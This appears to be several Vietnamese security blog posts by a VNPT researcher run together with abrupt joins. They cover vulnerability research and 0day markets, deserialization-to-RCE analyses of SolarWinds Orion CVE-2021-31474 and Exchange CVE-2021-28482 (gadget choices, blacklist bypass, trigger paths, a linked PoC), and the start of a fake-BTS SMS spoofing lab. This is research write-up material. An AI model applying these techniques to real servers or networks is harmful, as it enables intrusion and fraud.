Bởi vì bên cạnh mảng đục lỗ, cũng có mảng nữa là nghiên cứu về các giải pháp ATTT, xây dựng các công cụ (xây dựng ko có nghĩa là tự code) hay hệ thống để phòng thủ (theo thiên hướng defense). Họ cũng phải bỏ ra nhiều chất xám ra để học hỏi và tìm ra những điều cốt lõi của điểm yếu và đưa ra cách để phòng thủ.

Hay cũng có những người, tổ chức, họ nghiên cứu và phát minh ra một cái sáng kiến gì đó mới mẻ trong Security, giúp cải tiến bảo mật cho những cái đang có, … Cũng được gọi với cái tên là Security Researcher …

Có nhiều mảng nữa cũng được gọi với cái tên Security Researcher này, nhưng do ko phải chủ đề chính của bài viết nên mình xin phép được kể một vài ví dụ như vậy.

Mục tiêu của bài này là nói đích danh về mảng “Tìm kiếm lỗ hổng phần mềm — Vulnerability Research” (tạm thời gọi là N-day hunter đi).

Cái tên N-day hunter mình tạm gọi vậy bởi vì công việc của những người làm nghề này là đi tìm kiếm những sai sót, lỗ hổng trong thiết kế của một đối tượng nào đó, và lợi dụng nó làm cho đối tượng hoạt động theo hướng ngoài ý muốn (unintended nhưng ko biết dịch làm sao cho đúng). Đối tượng ở đây có thể là một chương trình, một website hay một thuật toán, kiến trúc nào đó,

Trước đó, định nghĩa Exploitation thường được mặc định hiểu là những người làm về Binary Exploitation … Ngay cả tại thời điểm hiện tại, giáo trình của một số bộ môn về lỗ hổng phần mềm/secure coding ở KMA cũng chỉ định nghĩa và dạy về Binary Exploitation.

Trong khi thực tế đã khác rất nhiều, lỗ hổng phần mềm đã và đang xuất hiện ở nhiều nền tảng lập trình khác nhau: PHP, Java, .NET, … Exploitation không đơn thuần chỉ là các bug của binary nữa, nó nên được hiểu theo nghĩa rộng hơn.

Hiện nay, việc tìm kiếm lỗ hổng phần mềm thường được chia ra theo 2 hướng chính như sau:

• Binary Exploit (hay còn đc gọi là pwn): Nghiên cứu về những lỗ hổng trên Binary như Buffer Overflow, Format String, Integer Overflow, Use-After-Free … Mặc dù những lỗ hổng này đã tồn tại từ những năm 70s của thế kỷ trước, nhưng đến tận bây giờ nó vẫn tồn tại, dù đã có nhiều biện pháp giảm thiểu. Thực tế thì mình ko làm về mảng này nên cũng ko có nhiều kiến thức để chia sẻ, có thể một ngày nào đó sẽ có người làm việc này!

• High-Level Language Exploit: Mảng này mình gọi chung cho việc tìm kiếm lỗ hổng ở các nền tảng ngôn ngữ lập trình bậc cao, ví dụ như: Java, PHP, C#, Python … Các ngôn ngữ lập trình này có thể không tồn tại(hoặc là hiếm gặp) những lỗ hổng như là Buffer Overflow hay Use-after-free nữa. Thay vào đó là các lỗ hổng của trên nền tảng ngôn ngữ lập trình bậc cao như: Insecure Object Deserialize, SQL Injection, Command Injection …

Cái tên “High-Level Language Exploit” cũng là do mình tự đặt để gọi chung cho những lỗ hổng trên nền tảng ngôn ngữ lập trình bậc cao, điển hình như: Java, C#, Python, PHP, Ruby, … những ngôn ngữ lập trình mà theo mình cảm nhận là dễ tiếp cận cho người dùng phổ thông!

Trong những năm gần đây, một số lỗ hổng kinh điển xuất hiện trên các nền tảng lập trình bậc cao này có thể kể đến như: SQL Injection, LFI, Insecure Deserialization, XXE (định thêm XSS nhưng hết chỗ ròi ( ͡° ͜ʖ ͡°)) …

Có những loại bug chỉ xảy ra trên 1 nền tảng, nhưng cũng có những loại bug xuất hiện ở nhiều nền tảng khác nhau, ví dụ như: Insecure Deserialization xuất hiện trên cả Java, C#, PHP, nodejs, Python, và mới đây ngta còn phát hiện nó cũng có trên cả Ruby nữa.

Tại VNPT, mình bắt đầu đi sâu vào nghiên cứu lỗ hổng bảo mật từ khoảng cuối năm 2018, và lỗ hổng đầu tiên mình nghiên cứu là 1day của Liferay về Java Deserialization.

Hồi đó, cách nhìn của mình về Java Deserialization khá là đơn giản và có phần lệch lạc, chỉ đơn thuần là gen payload = ysoserial và gửi lên => RCE.

Được thì được, mà không được thì thoi cũng kệ, chả nghiên cứu sâu hơn về cách hoạt động hay gì cả.

¯_(ツ)_/¯ vì mình có một cái suy nghĩ trong đầu, mà có thể nhiều bạn làm ngành sec cũng có, đó là: “kỹ thuật này cao siêu lắm, bao nhiêu ông trên thế giới còn chưa bypass được, thì mình tuổi đ’ gì mà bypass được chứ? …”

Nhưng cuộc sống không giống với cuộc đời, hồi đó thì ban đầu mình có xem sơ sơ và bỏ qua mấy lỗi của liferay như vậy,

Nhưng một tuần sau, bên mình lại nhận thêm gần chục trang cũng dùng liferay như vậy, và kết quả sau mỗi lần pentest các site đó thường ko đc khả quan lắm.

Lý do cũng dễ hiểu, là vì dev tận dụng hầu hết các tính năng mà liferay cung cấp để code portlet, prepare statement … hầu như các lỗi SQLi, LFI, XSS không còn nữa. Điều này thúc đẩy mình phải tìm ra một thứ gì đó tốt hơn, nguy hiểm hơn, để đem lại được lợi thế và tiếng nói của các bản report đầu ra của team pentest.

Hiểu đơn giản một điều như thế này, một bản report toàn XSS với info leak thì may mắn lắm 2 tháng sau dev sẽ chịu nghe lời và fix các lỗi đó, nhưng khi mà đã deface tè le server ròi thì chắc chắn đội dev sẽ nhảy ngược lên và chạy đi fix cái lỗi đó, ¯_(ツ)_/¯ cuộc sống mà!

Thành quả là sau đó mình cùng với một số ae trong team đã thử nghiệm thành công lỗ hổng Liferay Deserialization tưởng như chỉ có trong sách vở (https://www.tenable.com/security/research/tra-2017-01), và phát hiện ra không chỉ nhiều website của các tổ chức, chính phủ tại Việt Nam đang dính lỗ hổng này, mà tới những tổ chức lớn ở nước ngoài cũng có chung tình trạng:

Lúc này mình mới vỡ lẽ ra một tật xấu trong tư tưởng của nhiều thành phần nằm trong cộng đồng Sec nói chung:

• “Ai cũng nghĩ là sẽ có người khác làm việc đó, và cuối cùng chả ai là người bắt tay vào làm cả.”

Sau khi nghiên cứu bug đầu tiên này xong, với mình, đây là một dấu mốc quan trọng, bởi đã đạt được một thành tựu gì đó, nó đem lại cái động lực mạnh mẽ thúc đẩy cho quá trình tiếp tục nghiên cứu sâu hơn về lỗ hổng trên nền tảng Java này!

Và có lẽ không chỉ riêng với mình, mà nó cũng là điều tối quan trọng với những bạn trẻ mới bắt đầu bước chân vào ngành này nói chung, cũng như về mảng nghiên cứu nói riêng. Thành tựu ban đầu có thể chỉ là 1 mảnh rất nhỏ so với những thứ nghiên cứu sau này, nhưng nó lại xác định cho biết bản thân mình đang đi đúng hướng, là nguồn cảm hứng cho bản thân tự xác định được sẽ tiếp tục làm gì trong tương lai!

.

.

.

Thôi lan man chuyện cá nhân nhiều quá,

👉Tiếp tục là nói về đối tượng thường được nhắm đến của các Researcher này.

Với những người làm về nghiên cứu lỗ hổng trên các ngôn ngữ lập trình bậc cao như bọn mình, đối tượng được nhắm đến thường là các loại máy chủ web, máy chủ gì gì đó, mà có thể truy cập từ bên ngoài đối tượng đó vào, ví dụ như: Apache Tomcat, Weblogic, SSH Server, … những thứ gì mà lộ ra bên ngoài, có thể truy cập vào được thì đều trở thành mục tiêu bị săn đón bởi Researcher!

Và đương nhiên, những loại lỗ hổng mà chúng tôi hướng tới, là những loại lỗ hổng nghiêm trọng, có thể thao túng được đối tượng như: Deserialization, RCE, LFI, SQL Injection …

Những lỗi client-side như XSS hay CSRF gì đó thường được bỏ qua, cho dù nó kịch bản bypass/tấn công có hay đến đâu thì cũng nó cũng vẫn phải dựa dẫm vào một tác nhân khác để có thể tấn công thành công, ở đây là dựa dẫm vào Client.

Việc bạn show 1 cái pop up “alert(1)” trên facebook không có nghĩa là bạn đã hack đc web đó

👉Vậy tại sao lại là các đối tượng remote, server?

Dưới đây là một mô hình cơ bản về vị trí cũng như thành phần tổ chức hoạt động của một máy chủ dịch vụ nào đó.

Để một website hoạt động được, mã nguồn của website đó cần được deploy lên máy chủ web để chạy. Đặt vị trí mình vào vị trí của attacker, và mục đích là phải tấn công được website kia để lấy về dữ liệu.

Bỏ qua trường hợp ngay trên mã nguồn của website đó đã có lỗi và cho phép RCE để chiếm quyền điều khiển,

Giả sử như website đó chỉ là một dạng landing page, cũng có vài cái XSS này nọ nhưng website này làm gì có admin mà chiếm phiên??

Đó là khi mũi tên tấn công được chuyển hướng, thay vì nhắm vào mã nguồn của website đó, tại sao ko nhắm vào cái máy chủ dịch vụ mà website đó đang sử dụng??

Một khi đã xâm nhập thành công vào máy chủ đó, thì việc đánh cắp mã nguồn hay database đã dễ dàng hơn rất nhiều, chỉ là việc sớm hay muộn mà thôi. Thậm chí trong thực tế, các máy chủ nội bộ lân cận cũng bị ảnh hưởng do lúc này attacker đã nằm trong mạng nội bộ, và có thể tấn công các máy chủ lân cận đó bất cứ lúc nào!

Thực chất thì các loại web server, ssh server … cũng là do con người xây dựng, không thể nào tránh khỏi những sai sót trong quá trình lập trình, và điều đó vô tình lại tạo ra việc cho những người như mình ( ͡° ͜ʖ ͡°).

Hơn nữa, không giống như mỗi website chỉ sử dụng một bộ mã nguồn cho chính website đó, các dịch vụ như web server, ssh server, vpn server … lại được sử dụng chung và có độ phổ biến khá là rộng,

Đơn cử như nền tảng Liferay, ở Việt Nam nói chung đã có tới hàng trăm website của tổ chức, chính phủ sử dụng nền tảng này. Chỉ cần tìm ra một lỗ hổng RCE trên Liferay thì hoàn toàn có thể tấn công và chiếm quyền điều khiển hàng trăm website đó mà không cần biết developer đã code ngon, xịn như nào.

Vì bản chất lỗi không phải tại ông developer, mà lỗi nó xảy ra ở chính cái nền tảng mà ông developer đó sử dụng ¯_(ツ)_/¯.

👉Qua một vài điểm trên, có thể thấy tầm quan trọng của việc Research đối với công việc pentest nói riêng, và đối với ngành Sec nói chung như thế nào.

.

.

Với tầm quan trọng như thế, và đặc biệt là trong thời đại bùng nổ của chiến tranh mạng như hiện nay, những người làm công việc này có thể ví như những tay sản xuất vũ khí lạnh vậy!

Ngay trong quý 1/2021 vừa rồi, hơn chục 0day bị phát hiện khi đem đi tấn công ngoài thực tế!

Do là 0day, các máy chủ chưa hề có cơ chế phát hiện và phòng vệ gì nên khi phát hiện tấn công thì mọi chuyển cũng đã rồi, hacker đã tấn công sâu vào hệ thống và lấy đi những dữ liệu quan trọng, gây ảnh hưởng lớn tới tổ chức.

Vậy bạn có thắc mắc là tại sao ngày càng nhiều 0day bị sử dụng vào tấn công trong thực tế như vậy?

Để trả lời cho câu hỏi này thì cần phải quay về vấn đề gốc rễ:

• “Làm gì để ra tiền với Vulnerability Research?”

¯_(ツ)_/¯

Công việc Research khá là khó khăn và tốn nhiều thời gian để có thể ra được kết quả.

Ví dụ như với công việc hiện tại của mình, có thể mất tới 1–2 tháng để tìm ra một lỗ hổng 0day có giá trị, nhiều khi ròng rã mấy tháng trời không ra được kết quả gì.

Vậy trong khoảng thời gian 2–3 tháng đó thì ai nuôi?

Hiện tại ở VN, nghề Vuln Research nói chung vẫn chưa có chỗ đứng lắm, vì thực tế là nó không làm ra được kết quả ngay, không làm ra tiền được, nên chả công ty nào dám nhận về nuôi, ¯_(ツ)_/¯ bài toán kinh tế mà. Chả vậy mà nhiều anh em xã hội đã xác định ra đi tìm đường cứu nước, nói chảy máu chất xám thì cũng không đúng, nhưng thực tế nó phũ phàng vậy!

👉Vậy làm gì để ra tiền với Vuln Research?

Để làm tiền với Vuln Research, người ta thường tìm đến một số “chợ đen, chợ đỏ 0day” như ZDI, SSD, NVWA, Z*rodium.

Lỗ hổng 0day sau khi được người của những “chợ 0day” này confirm tính đúng đắn thì sẽ thương lượng giá và trao tiền cho hacker. Có thể sau đó hacker cũng phải ký một thỏa thuận không tiết lộ gì đó về lỗ hổng này.

Số tiền nhận được cũng tùy vào mức độ nghiêm trọng và độ phổ biến của đối tượng đó, ví dụ như: một 0day Pre-Auth RCE trên Exchange có giá tầm 4–5 tỉ VND, nhưng cũng có nhưng target bèo bọt, có 100–200USD với 1 bug tương tự như vậy😢.

Và có ai thắc mắc sau đó cái 0day này sẽ đi đâu ko ( ͡° ͜ʖ ͡°).

Mình cũng không rõ về tương lai của những 0day sau khi được bán cho chợ đen,

• Có người nói là được chính phủ sử dụng để bắt tội phạm,

• Có người lại nói được tội phạm sử dụng để hack chính phủ

¯_(ツ)_/¯

Mang tiếng patch của Pwn2own mà chỉ có 5–6 điểm khác biệt,

Theo suy đoán của mình thì có lẽ 1 phần nào đó trong những chain attack tại Pwn2own đã bị vá ngay vào bản vá của tháng 4,

Và theo thông tin từ ZDI thì có vẻ như bản patch tháng 5 này của M$ còn thiếu bug nữa:

.

.

Dạo quanh ZDI để tìm cảm hứng thì bất chợt gặp 1 advisory khá là hay ho:

SolarWinds Network Performance Monitor FromJson Deserialization of Untrusted Data Remote Code Execution Vulnerability (CVE-2021–31474) (https://www.zerodayinitiative.com/advisories/ZDI-21-602/)

Sẵn tiện vừa nghiên cứu xong bug deserialize của Exchange, và cũng đang muốn đổi gió nên mình kéo về nghiên cứu bug này!

SolarWinds có nhiều bộ bundle software, phục vụ cho từng mục đích khác nhau, ví dụ như: System management/Network management/DB management…

Cách setup bộ SolarWinds cũng khá đơn giản, hoàn toàn có thể tải bản trial tại trang chủ: https://www.solarwinds.com/network-performance-monitor

Việc setup chỉ đơn giản là click click và chờ, trong bundle đã bao gồm tất cả các software cần thiết rồi,

.

.

Sau khi search thêm 1 vòng thì có được thêm thông tin từ trang chủ của SolarWinds (https://documentation.solarwinds.com/en/success_center/orionplatform/content/release_notes/orion_platform_2020-2-5_release_notes.htm):

Kết hợp thông tin của ZDI và SolarWinds thì có thể biết được một số thông tin như sau:

• Lỗ hổng này không chỉ tồn tại trên SolarWinds Network Performance Monitor (NPM), mà chính xác hơn nó tồn tại trên SolarWinds Orion Platform (các product khác của SolarWinds như SAM, SEM, VIM, IPM, …đều được xây dựng trên nền tảng này).

• Lỗ hổng này tồn tại trên các phiên bản Orion < 2020.2.5

• Lỗ hổng này yêu cầu đăng nhập với một user bất kỳ, chứ không phải pre-auth theo như thông tin của ZDI

Quay trở lại với thông tin từ document của SolarWinds, lỗ hổng này tồn tại trong chức năng “test alert actions” của web interface:

Chức năng Test Action này cũng đã từng được ZDI đề cập tới trong 1 bài viết về những lỗ hổng có liên quan tới vụ SUNBURST https://www.zerodayinitiative.com/blog/2021/1/20/three-bugs-in-orions-belt-chaining-multiple-bugs-for-unauthenticated-rce-in-the-solarwinds-orion-platform

Nội dung của 1 request Test Action có dạng như sau:

Sau khi bới móc một hồi thì mình tìm ra class handler entrypoint này, đó là SolarWinds.Orion.Web.Actions.ActionControllerImplementation.

Mình không rõ nguyên nhân do đâu mà phần code xử lý chính của nó đã bị obfuscate hoàn toàn, làm cho quá trình đọc code gặp khá nhiều khó khăn:

Việc phân tích lỗ hổng này cũng dựa vào tâm link là chính chứ mình cũng ko có đọc đc kỹ lắm =)).

Sau khi xem xét 1 vòng thì mình nhận ra lỗ hổng Deserialization này xảy ra ngay tại bước parse dữ liệu JSON của chức năng TestAction,

Tại method TestAction, dữ liệu được parse bằng method ActionControllerImplementation.DeserializeObjectWithTypes()

Nội dung của method này có dạng như sau:

DeserializeObjectWithTypes() tiếp tục gọi SerializationHelper.FromJson() với TypeNameHandling = TypeNameHandling.Objects

SerializationHelper.FromJson() lại tiếp tục gọi SerializationHelper.FromJsonInternal() -> JsonConvert.DeserializeObject()

Dựa vào những kiến thức mình được biết về JSON Deserialize trong .Net (https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf) thì tại entrypoint này hoàn toàn có thể khai thác Insecure Deserialization -> RCE.

Tuy nhiên việc deserialize -> RCE không đơn giản như vậy,

Trong thực tế, trường hợp JsonConvert.DeserializeObject<object>() hay JsonConvert.DeserializeObject<GadgetType>() rất rất hiếm khi hoặc có thể nói là không bao giờ xảy ra.

Do vậy mà để khai thác được Deserialize trên .Net, cần phải lươn lẹo và lắt léo hơn một tí

Xem kỹ hơn ở dữ liệu đầu vào được deserialize, đây là một instance của kiểu SolarWinds.Orion.Core.Models.Actions.Contexts.ActionContextBase

Đáng chú ý, trong class này có field với kiểu SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, được gán attribute [DataMember]

(Trong .Net deser, các field có attribute [DataMember] mới có thể được serialize/deserialize với DataContractSerializer).

Trong class MacroContext lại chứa field DataMember với kiểu List<ContextBase>:

Nội dung của class ContextBase như sau:

Trong đó, các khai báo “[KnownType(typeof(ClassX))]” ngay phía trên class biểu thị cho các ClassX này là một trong những class triển khai của class này.

Ví dụ với trường hợp trên:

• Khai báo “[KnownType(typeof(SwisEntityContext))]” trước class ContextBase

Có nghĩa class SwisEntityContext là một class triển khai của class ContextBase.

Hay có thể hiểu theo nghĩa ngắn gọn hơn, khai báo như vậy có nghĩa class ContextBase này chỉ chấp nhận deserialize những class được khai báo là:

• ReportingContext

• AlertingContext

• GenericContext

• SwisEntityContext

Tiếp tục xem xét một trong những class triển khai của ContextBase, là class SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext. SwisEntityContext có chứa một field với kiểu SolarWinds.InformationService.Contract2.PropertyBag:

PropertyBag lại kế thừa Dictionary<string, object>

=> Có thể lợi dụng điều này để gài gadget vào bên trong object.

Thay vì deserialize trực tiếp gadget RCE, mình gói gadget vào một Object hợp lệ ròi deserialize nó!

.

.

Mọi thứ gần như đã hoàn hảo, tuy nhiên có một chi tiết nhỏ mà mình đã bỏ sót chưa nhắc đến,

Trước khi gọi FromJsonInternal(), method SerializationHelper.ApplyDeserializationBlacklist() được gọi

Theo như nội dung của method SerializationHelper.ApplyDeserializationBlacklist(), nó set giá trị blacklist, hạn chế những class có thể được deserialize, bao gồm các class sau:

Tuy nhiên nếu chỉ dựa vào blacklist này là chưa đủ, đối chiếu theo ysoserial.net, còn có rất nhiều gadget khác chưa bị nằm trong blacklist này, và vẫn có thể bị lợi dụng để RCE như: RolePrincipal, SessionSecurityToken, SessionViewStateHistoryItem …

Ở đây mình sử dụng gadget SessionSecurityToken cho PoC,

Kết hợp tất cả các dữ liệu trên được PoC như sau:

PoC payload: https://gist.github.com/testanull/dcb536b409a28d74430a441d53b14456

PoC video:

Như vậy mình cũng đã nói qua về lỗ hổng CVE-2021–31474 của SolarWinds Orion, cũng như một phần nhỏ của Json.Net Deserialize,

Kiến thức về .Net deserialize còn khá mới nên có thể sẽ có nhiều sai sót, mong bạn đọc có thể bổ sung và góp ý!

Cảm ơn các bạn đã theo dõi!

Jang

Attack vector này khá là mới, không đi theo những lối mòn về lỗ hổng trên Exchange, có lẽ như trước đó chưa ai từng tìm ra chain attack nào trên Exchange như vậy.

Cũng vào thời điểm đó là đang diễn ra Pwn2Own 2021 Vancouver, trong list target có Exchange được treo thưởng với 200k$USD ~= 5 tỏi VND …

Đây có lẽ là target hot nhất trong đợt p2o này, có tới 3 team cùng target vào Exchange, trong đó có: Orange from Devcore, Phạm Khánh đến từ Viettel, Steven from SrcIncite.

Mặc dù ngay trong lần thử đầu tiên, team Orange đã thành công và ăn trọn 200k$, nhưng độ nóng của các ngày sau mỗi khi tới target Exchange là không hề giảm. Mình, đồng nghiệp, và cũng như bao researcher khác cũng chỉ trông ngóng tới khi target Exchange lên sóng, để thỏa mãn tính tò mò cũng như xem author có rơi rớt được thông tin nhỏ nhoi gì trong quá trình PoC hay không 🤣. Dù 2 bug về sau đều bị đánh là Partial, có lẽ là do dup với bug đầu tiên của orange, nhưng chúng tôi vẫn rất nể phục họ, đen đủi chỉ là do sự sắp xếp trước sau mà thôi, chứ độ khủng của 3 chain mà 3 team mang đi attack đều như nhau cả.

Một tuần sau đó, 13/04, M$ release bản vá, cũng hơi bất ngờ một chút khi trong lần release này có tới 2/4 CVE của Exchange là pre-auth, và tất cả 4 CVE đó đều có thể RCE cả. Bất ngờ ở chỗ là p2o vừa diễn ra tuần trước, mà tuần này đã có patch thì có thể đây là 1 bug hoàn toàn khác so với đám bug được sử dụng tại p2o kia.

#DIFF PATCH

Sau vụ proxylogon, Exchange có vẻ tự dưng lại hot lên.

Lần ra patch, rất nhiều bên cùng đổ xô vào xâu xé cái patch, từ xã hội đen cho tới xã hội đỏ, nơi nào cũng tập trung tới 80% nhân lực vào làm vụ này.

Và dĩ nhiên, mình cũng ko là ngoại lệ ( ͡° ͜ʖ ͡°).

Ban đầu mục tiêu của mình với đồng nghiệp là nghiên cứu 2 lỗi pre-auth trước, có lẽ nhiều bên khác cũng như vậy.

Tuy nhiên việc này ko hề đơn giản như bọn mình nghĩ, và đã không thành công trong việc phân tích 2 bug pre-auth này,

Dưới đây chỉ là một số lưu ý về 2 bug pre-auth CVE-2021–28480 và 28481:

Tại BackEndCookieEntryParser.TryParse(), một vài dòng code mới thêm vào để kiểm tra lại host name và FQDN:

Có thể tại đây cũng đã từng xảy ra lỗi giống như X-BEResource-Cookie của proxylogon, có thể lợi dụng để set BackEndServer sau đó SSRF vào backend.

Class này xử lý cookie dạng: X-BackEndCookie/X-BackEndCookie2.

BackEndCookieEntryParser.TryParse() -> UnObscurify(). Method này hoạt động đơn giản là decode base64 cookie và xor với char “0xff”:

Sau khi decode một chuỗi từ X-BackEndCookie có dạng như sau:

**Database~**eb60615b-fc77-44b7-b0e4-a7abf6f7f57e**~~**2021-05-20T01:48:22

Bên cạnh kiểu Database, còn có 1 kiểu khác là Server:

Dạng như sau:

**Server**~**exchange.evil.corp**~1942062522~2021-05-19T08:36:11

Nhìn trông thì rất giống so với lỗi lần trước của X-BEResource,

Tuy nhiên, để lợi dụng được bug của X-BackEndCookie này thì không phải entrypoint nào cũng được!

Cookie này chỉ được nhận và xử lý bởi các class kế thừa class BEServerCookieProxyRequestHandler:

Một số class kế thừa của nó là:

Đến đó chưa phải là hết, câu chuyện vẫn còn tiếp diễn!

Các class trên đều kế thừa ProxyRequestHandler, sau mỗi lần tính giá trị BackEnd thành công, method DoProtocolSpecificRoutingTargetOverride() -> RedirectIfNeeded() đều được gọi:

Trong đó, class OwaEcpProxyRequestHandler lại override method RedirectIfNeeded() này:

Nó xử lý và tìm kiếm sự tồn tại của FQDN trong hệ thống, nếu không có sẽ throw exception luôn.

Đây chính là lý do mà nhiều bên cũng đã phát hiện và thử BackEndCookie này nhưng lại bị fail ở các entrypoint “/ecp, /owa”.

Để xử lý nó thì cần phải tìm được các class thừa kế class BEServerCookieProxyRequestHandler, nhưng method RedirectIfNeeded() cũng phải thỏa mãn không tác động tới giá trị FQDN kia.

Trong đám đó mình có tìm ra được một vài class khả thi như sau:

- AnonymousCalendarProxyRequestHandler
- ComplianceServiceProxyRequestHandler
- EwsAutodiscoverProxyRequestHandler
- MailboxDeliveryProxyRequestHandler
- MapiProxyRequestHandler
- MicroServiceProxyRequestHandler
- MrsProxyRequestHandler
- OabProxyRequestHandler
...

Tuy nhiên để xét cho trường hợp unauthenticated, thì mình mới chỉ vào được AnonymousCalendarProxyRequestHandler và EwsAutodiscoverProxyRequestHandler.

Mặc dù đã có thể set giá trị FQDN tùy ý, nhưng trước khi request, ProxyRequestHandler vẫn check lại một lần nữa giá trị Host == BackEndServer.Fqdn

Nếu như cố tình sửa láo giá trị FQDN để SSRF như proxylogon, sẽ bị exception tại đây luôn!

Do đó tất cả những gì chúng ta có thể làm bây giờ là sửa thành một cái FQDN hợp lệ bất kỳ nào đó,

Với trường hợp AnonymousCalendarProxyRequestHandler:

Host có thể thành bất kỳ, nhưng sẽ bị lỗi do server không gen được gói để authenticate với backend -> chỉ có thể sửa thành backend của hệ thống.

Với trường hợp EwsAutodiscoverProxyRequestHandler:

Có thể đẩy request tới một host bất kỳ, tuy nhiên request này lại chứa token của user Anonymous, nói cách khác là không có quyền gì nhiều nếu gửi vào backend.

Việc xem xét bug tại backend cookie của mình bị dừng tại đây hơn một tuần và cho tới tận bây giờ vẫn không có tiến triển gì thêm.

Đó là những gì mình muốn share về 2 bug pre-auth này,

Tiếp theo là về bug Post-Auth RCE — CVE-2021–28482:

Trong bản vá lần này, có 2 file bị xóa khỏi server Exchange đó là:

• Microsoft.Exchange.Clients.Owa2.Server.Web.MeetingPollHandler

• Microsoft.Exchange.HttpProxy.PsgwProxyRequestHandler

Với Psgw thì mình có đào bới khắp nơi những vẫn không tìm ra entrypoint để tiếp cận được, do đó mình quay qua xem xét MeetingPollHandler.

Dựa vào web.config của ClientAccess/owa, có thể biết được các tiếp cận entrypoint này, đó là /owa/MeetingPollHandler.ashx:

Đoạn code xử lý của MeetingPollHandler như sau:

MeetingPollHandler.ProcessRequest()

-> MeetingPollProposeOptionsPayload.ProcessRequest()

Và điều đặc biệt hơn nằm ở bên trong method MeetingPollProposeOptionsPayload.GetRequests()

Tại đây, method này gọi tới EntitySerializer.Deserialize(), EntitySerializer.Deserialize() gọi tiếp tới DataContractSerializer.ReadObject()

Mình từng làm nhiều về Java Deser, nhưng với .Net deser thì chưa một lần nào,

Tuy nhiên thông qua tìm kiếm và hỏi thăm từ nhiều bên mình được biết là hoàn toàn có thể RCE với DataContractSerializer, nếu như có thể điều khiển được kiểu dữ liệu để deserialize, hoặc là kiểu dữ liệu để deserialize có lỏng lẻo gì đó có thể lợi dụng!

Ở đây thì nó là trường hợp thứ 2, kiểu dữ liệu được deserialize quá lỏng lẻo, chúng ta cùng xem kỹ hơn.

Dữ liệu được deserialize như sau:

EntitySerializer.**Deserialize**<Dictionary<string, **ProposeOptionsMeetingPollParameters**>>(largeStringProperty);

class ProposeOptionsMeetingPollParameters kế thừa SchematizedObject

SchematizedObject kế thừa PropertyChangeTrackingObject.

Mấu chốt của lỗ hổng này nằm tại chính class PropertyChangeTrackingObject:

Class này có thêm một Nested class nữa để chứa thông tin của các Entity, trong đó các entity này được lưu vào field ChangedProperties, field này có kiểu dữ liệu là PropertyBag.

DataMember của PropertyBag chỉ có 1 field duy nhất với kiểu Dictionary<string, object>:

¯_(ツ)_/¯

Theo đúng logic này, khi deserialize với Type: Dictionary<string, ProposeOptionsMeetingPollParameters> của đoạn xử lý MeetingPollHandler, mình hoàn toàn có thể gài một gadgetchain vào field propertyValues của field ChangedProperties khi deserialize, (việc này cũng khá là giống trong Java Deserialization)!

Logic được diễn giải bằng hình như sau:

GadgetChain mình sử dụng là ObjectDataProvider, được gen từ ysoserial.net.

Tuy nhiên cũng cần nhiều tùy chỉnh để ăn khớp với cách hoạt động của Exchange Server:

Việc tiếp theo phải làm đó là tạo một meeting ròi đẩy gadget vào (tạo như thế nào thì có thể search document)

Cuối cùng là trigger bằng url có dạng:

Với XXXX chính là ID của meeting có chứa payload.

Sau khi trigger bằng MeetingPollHandler, cmd sẽ được spawn trên server Exchange với parent process là w3wp của OWA App:

PoC:

Đây chỉ là một trong số nhiều entrypoint có thể trigger được lỗ hổng này, những entrypoint khác có thể trigger mà không cần tác động tới. Tuy nhiên mình chưa nghiên cứu kỹ và PoC được trong thời gian này.

Hy vọng bài viết này có thể đem lại phần nào đó tháo gỡ các vướng mắc mà nhiều người đang nghiên cứu gặp phải, biết đâu họ sẽ tìm ra được hướng đi hay hơn ;).

Thanks for reading,

Jang of VNPT ISC

Ngày đó cũng là do khá bận với sự việc khác nên chưa có xem qua, ban đầu theo suy đoán của mình và ae trong team thì có thể là do API SMS Brandname đã bị lộ ở đâu đó, và gây ra sự việc bắn sms lừa đảo như trên.

Tuy nhiên đó cũng chỉ là nhận định chủ quan, do chưa có thông tin gì về nạn nhân cũng như phương thức cụ thể nên bên mình không có đưa ra thông cáo báo chí gì về vấn đề này.

Bẵng đi một thời gian sau, phía cục ATTT có gửi công văn thông báo về vấn đề này cho bên mình và yêu cầu phối hợp xử lý, mình cũng được join cùng để lót dép hóng hớt tin tức.

Thì ra vấn đề này đang xảy ra ko chỉ trên 1 nhà mạng mà hầu như thuê bao của cả 3 nhà mạng lớn(V, V, và M*) đều bị nhận được tin nhắn fake kiểu như này:

Dựa vào các thông tin phía quản trị hạ tầng nhà mạng bên mình báo lại thì không tìm được một dấu hiệu nào trên tất cả các hệ thống về việc những tin nhắn trên được gửi đi (Log SMS Brandname, MSC, …). Nói ngắn gọn hơn là vào khoảng thời điểm đó nhà mạng V* bên mình không gửi bất cứ tin nhắn nào như vậy cho người dùng.

Sau đó cũng dựa vào thông tin quan hệ từ nhiều nguồn, mình cũng biết được với thuê bao của nhà mạng khác cũng xảy ra trường hợp tương tự như vậy: NHÀ MẠNG KHÔNG GỬI CÁC TIN NHẮN NÀY.

Và mấy ngày sau, thông cáo báo chí cũng được đăng y chang như vậy.

Dân mạng thì cho là các nhà mạng đang trốn tránh trách nhiệm, các hacker nửa mùa thì lại được nước ra mặt chém gió như chuyên gia.

Nhưng sự thật sau đó là gì?

Và quan trọng nhất ai là người phải chịu trách nhiệm về vấn đề này?

¯_(ツ)_/¯

Từ phía nhà mạng, bên mình chỉ có thể điều tra đến đó rồi bị mất dấu, không tìm ra được gì thêm.

Chỉ có thể đưa đến kết luận tạm thời: là người dùng đã bị kết nối vào BTS giả mạo, rồi sau đó nhận được tin nhắn spam từ kẻ tấn công đang điều khiển cái BTS giả mạo đó. Kết luận này cũng chỉ là trên giấy, chưa có chứng cứ gì cụ thể, vì làm gì có ai có đồ để kiểm chứng đâu 🤣.

Sự việc còn lại bên mình đã bàn giao hết cho phía cơ quan chức năng xử lý tiếp.

.

.

.

Với mình thì còn nhiều thắc mắc, sự việc như vậy còn là quá mập mờ, chưa thể đi đến đâu cả.

Tháng vừa rồi, mình mượn được đồ nghề của ông anh để thử nghiệm về mấy món này.

Tính tổng thời gian từ lúc nhận đồ về cho tới khi thử nghiệm thành công chỉ gỏn gọn trong vòng nửa ngày, không yêu cầu hiểu biết gì nhiều về sóng sánh này nọ cả.

#Phụ lục về setup Lab

Về phần cứng, thiết bị mình sử dụng để thử nghiệm là con Ettus USRP B210, sử dụng 2 anten 12dbi:

